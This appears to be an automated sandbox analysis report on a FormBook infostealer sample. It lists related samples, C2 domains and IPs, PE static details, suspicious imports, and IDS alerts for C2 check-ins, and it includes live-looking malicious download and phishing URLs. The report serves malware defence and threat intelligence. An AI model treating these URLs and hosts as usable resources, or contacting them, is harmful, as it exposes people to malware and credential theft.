68.65.122.222	Products Order Catalogs20242.exe	Get hash	malicious	FormBook	Browse	www.osi.garden/ow1m/
13.248.169.48	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	www.polarmuseum.info/9u26/
	MV Sunshine.exe	Get hash	malicious	FormBook	Browse	www.ipk.app/phav/
	New Order list attached.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.virtu.industries/i9b0/
	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	www.thesquare.world/f1ri/
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	www.discountprice.shop/mt2s/
	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	www.ila.beauty/izfe/
	Statement Cargomind 2024-09-12 (K07234).exe	Get hash	malicious	FormBook	Browse	www.hopeisa.live/0iqe/
	18in SPA-198-2024.exe	Get hash	malicious	FormBook	Browse	www.ila.beauty/izfe/
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	www.xipowerplay.xyz/akxn/
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	www.xipowerplay.xyz/akxn/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.030002832.xyz	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
www.nagasl89.baby	TT Swift copy1.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
www.brunvox.site	TT Swift copy1.exe	Get hash	malicious	FormBook	Browse	203.161.41.204
www.5oxzis.top	TNT Original Documents AWB 8013580.exe	Get hash	malicious	FormBook	Browse	20.2.217.253
	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	20.2.217.253
	Revised Invoice H000127896.exe	Get hash	malicious	FormBook	Browse	20.2.217.253

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.imap.ne.jp/banner_click/add/20/1/?a&url=http://uniteseoul.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Fuji Xerox ENCLOSED - Revised DRAFT.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	QzX4KXBXPq.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	VoiceOfRefugees_xls.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, XWorm	Browse	1.1.1.1
	5jh97SOa7H.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	fAzUnj6Djg.exe	Get hash	malicious	HawkEye, MailPassView	Browse	104.19.223.79
	ffsBbRe8UN.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	09Iz0ja549.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
NAMECHEAP-NETUS	wODub61gZe.exe	Get hash	malicious	FormBook	Browse	162.213.249.216
	ffsBbRe8UN.exe	Get hash	malicious	FormBook	Browse	162.0.238.238
	b9Mm2hq1pU.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	198.54.122.135
	SECRFQ2024-0627 - ON HAND PROJECT - NEOM PROJECTS - SAUDI ELAF Co..exe	Get hash	malicious	FormBook	Browse	192.64.118.221
	Quote_General_Tech_LLC_637673,PDF.exe	Get hash	malicious	FormBook	Browse	162.0.225.218
	debit#U00a0note#U00a0607-36099895#U00a0#U00a0.exe	Get hash	malicious	FormBook	Browse	162.0.231.203
	QNBSWIFT.exe	Get hash	malicious	FormBook	Browse	162.0.238.246
	URGENT REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	New Order list attached.exe	Get hash	malicious	DBatLoader, FormBook	Browse	162.0.225.218
	6724f91d7b548.vbs	Get hash	malicious	Unknown	Browse	198.54.116.219
AMAZON-02US	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Employee bonus and payroll 74ae5652.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.89
	https://bulbapp.com/u/sharefile?sharedLink=1db1fe96-5bdb-4c8c-ba45-33caa906abdd	Get hash	malicious	HTMLPhisher	Browse	143.204.98.63
	Eveshaw.pdf	Get hash	malicious	Unknown	Browse	18.239.69.9
	https://bitbucket.org/thanksforusingourwebsite/serv/downloads/Statement-415322025.exe	Get hash	malicious	ScreenConnect Tool	Browse	185.166.143.50
	https://mlflegal.sharefile.com/public/share/web-s929b2bfc135a4aadb68ad5b8c7324a2e	Get hash	malicious	Unknown	Browse	76.223.1.166
	https://1drv.ms/o/c/66fa7da2ba9759b3/EqcaXs4PlQlIgYgaPtxczNwB_gWaZXRP_eT5RhV50i4cxw?e=5%3aJHIMrP&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	34.213.87.83
	https://forms.office.com/e/wqvhAuyrVU	Get hash	malicious	HTMLPhisher	Browse	13.32.118.71
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.38
	https://t.ly/Oppenheim0511	Get hash	malicious	GO Backdoor	Browse	185.166.143.49
TANDEMUS	https://mlflegal.sharefile.com/public/share/web-s929b2bfc135a4aadb68ad5b8c7324a2e	Get hash	malicious	Unknown	Browse	15.197.239.217
	URGENT REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook	Browse	15.197.225.128
	spc.elf	Get hash	malicious	Mirai	Browse	15.196.180.205
	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	https://send-space.s3.eu-north-1.amazonaws.com/de.html	Get hash	malicious	Unknown	Browse	15.197.193.217
	FW CMA SHZ Freight invoice CHN1080769.exe	Get hash	malicious	FormBook	Browse	15.197.225.128
	BbkbL3gS6s.msi	Get hash	malicious	Unknown	Browse	15.197.137.111
	Reminders for Msp-partner_ Server Alert.eml	Get hash	malicious	HTMLPhisher	Browse	15.197.193.217

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	1.1142956103012707
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6kvjd:8t4n/9p/39J6hwNKRmqu+7VusEtrd
MD5:	E3F9717F45BF5FFD0A761794A10A5BB5
SHA1:	EBD823E350F725F29A7DE7971CD35D8C9A5616CC
SHA-256:	D79535761C01E8372CCEB75F382E912990929624EEA5D7093A5A566BAE069C70
SHA-512:	F12D2C7B70E898ABEFA35FEBBDC28D264FCA071D66106AC83F8FC58F40578387858F364C838E69FE8FC66645190E1CB2B4B63791DDF77955A1C376424611A85D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gobioid

Download File

Process:	C:\Users\user\Desktop\p4rsJEIb7k.exe
File Type:	data
Category:	dropped
Size (bytes):	286720
Entropy (8bit):	7.99504592023213
Encrypted:	true
SSDEEP:	6144:5e5z78VbkMX6OuNOVDKgm6fvvLlZQAleGPk:5el7unXPHZfvRZVleek
MD5:	152FAC67975BBB5EAF87AEC99C341348
SHA1:	15D8D84C18DD86A87C9E0E8FA54D5B925ACE84C2
SHA-256:	A8CC3F85157ABDC492232B20D789C7A03FDDCE8D66D6377AB26236A25042776B
SHA-512:	1FA120DF2BD46C394939DEAA708CE82A3F884BE2E55532AE579214B2F37672E6D9905271E171F7258572E498BDBB147EC3D6D18522A3C2B916497B69E3102158
Malicious:	false
Reputation:	low
Preview:	z....7XCIl..Q..l.2Q...yI?...G7XCI4F6XGQTPP92RUP6QJ7STRG7XC.4F6VX.ZP.0.s.Qz.kc;=!gG,.F'[x$0:>?M.00pD$$.::r.x.c$["SvJ\^tP92RUP6(K>.i2 .e#..{V?.K....R5.J....33.]..uT!...2<m0^.RUP6QJ7S..G7.BH4.A..QTPP92RU.6SK<R_RGy\CI4F6XGQTpD92REP6Q3STR.7XSI4F4XGWTPP92RUV6QJ7STRGW\CI6F6XGQTRPy.RU@6QZ7STRW7XSI4F6XGATPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQT~$\J&UP6..3STBG7X.M4F&XGQTPP92RUP6QJ.ST2G7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6XGQTPP92RUP6QJ7STRG7XCI4F6

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.516094857372396
TrID:	Win32 Executable (generic) a (10002005/4) 95.11% AutoIt3 compiled script executable (510682/80) 4.86% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	p4rsJEIb7k.exe
File size:	1'335'565 bytes
MD5:	159afc06a66a86f332be92f52963b09e
SHA1:	0cb60fe78cad1919e4c1ef5d315752e9147a7792
SHA256:	64b147e7c878171760935be6fde4ba79aedf2e045e78ad8a4eaf235ce60f6fdf
SHA512:	b8151e8b1da1be56be3e7903d4ae9e5240b3c074323ce5f56fe37ef80d8b2ca5d0778430c8d6d76b2f9559101537014a3b1a9989d315b1096105f4a9aface259
SSDEEP:	24576:ffmMv6Ckr7Mny5QLap2VGs1bTZb2Th8U4xkWo5e:f3v+7/5QLa0UE2T29xi5e
TLSH:	CB55F112B7D680F6E9A33875197BE32AEB3575184333C49BA7E02F778E111509B363A1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x416310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aaaa8913c89c8aa4a5d93f06853894da

Entrypoint Preview

Instruction
call 00007FEA2C953E8Ch
jmp 00007FEA2C947C5Eh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FEA2C947DEAh
cmp edi, eax
jc 00007FEA2C947F8Ah
cmp ecx, 00000100h
jc 00007FEA2C947E01h
cmp dword ptr [004A94E0h], 00000000h
je 00007FEA2C947DF8h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007FEA2C947DEAh
pop esi
pop edi
pop ebp
jmp 00007FEA2C94824Ah
test edi, 00000003h
jne 00007FEA2C947DF7h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007FEA2C947E0Ch
rep movsd
jmp dword ptr [00416494h+edx*4]
nop
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007FEA2C947DEEh
and eax, 03h
add ecx, eax
jmp dword ptr [004163A8h+eax*4]
jmp dword ptr [004164A4h+ecx*4]
nop
jmp dword ptr [00416428h+ecx*4]
nop
mov eax, E4004163h
arpl word ptr [ecx+00h], ax
or byte ptr [ecx+eax*2+00h], ah
and edx, ecx
mov al, byte ptr [esi]
mov byte ptr [edi], al
mov al, byte ptr [esi+01h]
mov byte ptr [edi+01h], al
mov al, byte ptr [esi+02h]
shr ecx, 02h
mov byte ptr [edi+02h], al
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007FEA2C947DAEh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8cd3c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9298	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x840	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80017	0x80200	6c20c6bf686768b6f134f5bd508171bc	False	0.5602991615853659	data	6.634688230255595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xd95c	0xda00	f979966509a93083729d23cdfd2a6f2d	False	0.36256450688073394	data	4.880040824124099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a518	0x6800	e5d77411f751d28c6eee48a743606795	False	0.1600060096153846	data	2.2017649896261107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9298	0x9400	f6be76de0ef2c68f397158bf01bdef3e	False	0.4896801097972973	data	5.530303089784181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x43a	data	English	Great Britain	0.3733826247689464
RT_STRING	0xb2c78	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3278	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb38d8	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3c60	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3db8	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3e40	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3e58	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3e70	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3e88	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb4028	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
GDI32.dll	DeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
OLEAUT32.dll	SafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-05T15:32:44.165921+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49784	13.248.169.48	80	TCP
2024-11-05T15:32:44.165921+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49776	50.19.214.227	80	TCP
2024-11-05T15:32:44.165921+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49780	13.248.169.48	80	TCP
2024-11-05T15:34:08.941947+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49742	66.198.240.15	80	TCP
2024-11-05T15:34:11.580511+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49743	66.198.240.15	80	TCP
2024-11-05T15:34:14.253474+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49744	66.198.240.15	80	TCP
2024-11-05T15:34:23.592824+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49746	3.33.130.190	80	TCP
